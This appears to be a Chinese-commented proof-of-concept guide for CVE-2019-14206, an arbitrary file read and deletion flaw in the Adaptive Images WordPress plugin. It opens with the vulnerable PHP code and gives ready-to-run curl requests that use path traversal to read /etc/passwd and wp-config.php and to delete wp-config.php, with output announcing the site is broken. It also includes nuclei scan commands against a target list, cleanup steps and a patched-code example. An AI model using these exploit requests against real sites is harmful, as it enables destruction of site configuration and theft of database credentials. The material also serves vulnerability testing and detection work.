// 插件直接使用用户输入，未进行清理
$settings = $_REQUEST['adaptive-images-settings'];

// 使用攻击者可控的参数构建文件路径
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// 删除任意文件
unlink($cache_file);

# 检查Nuclei
nuclei --version

# 检查Bash
bash --version

# 检查curl
curl --version

# 检查PHP（可选）
php --version 2>/dev/null || echo "PHP不可用（可选）"

# 如果在nuclei-templates目录下
cd /Volumes/Codingsh/experimentos/nuclei-templates

# 或者下载所需文件
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

# 检查文件是否存在
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# 如果Docker正在运行
docker-compose up -d

# 如果Docker未运行，使用模拟器
./docker-test-full.sh

# 环境将在以下地址可用
# http://localhost:8888

# 检查漏洞脚本是否存在
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

# LFI测试
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# 文件删除测试
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# 检查wp-config.php是否被删除
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

# 创建目标文件
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

# 基础扫描
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# 详细扫描
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# 调试扫描（挖漏洞必备）
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# 保存结果
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

# 查看结果
cat results.txt

# 阳性结果将包含：
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

# 尝试读取/etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# 尝试读取wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

# 检查wp-config.php之前是否存在
ls -la wp-config.php

# 执行利用
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# 检查wp-config.php之后是否被删除
ls -la wp-config.php

[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

匹配器已匹配：
- 插件已检测
- LFI漏洞已确认
- 任意文件删除可能

[N/A] 未发现结果

# 移除Docker环境
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null

# 移除测试文件
rm -rf docker-test/
rm -f targets.txt results.txt

# 恢复wp-config.php（如被删除）
cat > wp-config.php << 'EOF'
<?php
// 已恢复文件
define('DB_NAME', 'wordpress');
EOF

# 删除扫描结果
rm -f results.txt

# 清除缓存（可选）
nuclei -rm-cache

# 安装Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# 或下载二进制文件
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/

# 检查文件是否存在
ls -la http/cves/2019/CVE-2019-14206.yaml

# 检查YAML语法
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"

# 使用绝对路径
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target

# 检查端口
lsof -i :8888

# 使用不同端口
php -S localhost:9999

# 检查PHP是否安装
which php
php --version

# 检查Docker状态
docker ps

# 启动Docker
# macOS：打开Docker Desktop
# Linux：sudo systemctl start docker

# 使用模拟模式（无需Docker）
./docker-test-full.sh

// ✅ 安全代码（修复示例）
function adaptive_images_script_get_settings() {
    // 清理输入
    $allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
    $settings = [];
    
    foreach ($allowed_keys as $key) {
        if (isset($_REQUEST['adaptive-images-settings'][$key])) {
            $settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
        }
    }
    
    return $settings;
}

function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
    // 验证路径
    $allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
    $cache_dir = basename(dirname($cache_file));
    
    if (!in_array($cache_dir, $allowed_cache_dirs)) {
        return false; // 拒绝无效路径
    }
    
    // 使用已验证的绝对路径
    $cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
    
    if (file_exists($cache_file)) {
        unlink($cache_file);
    }
}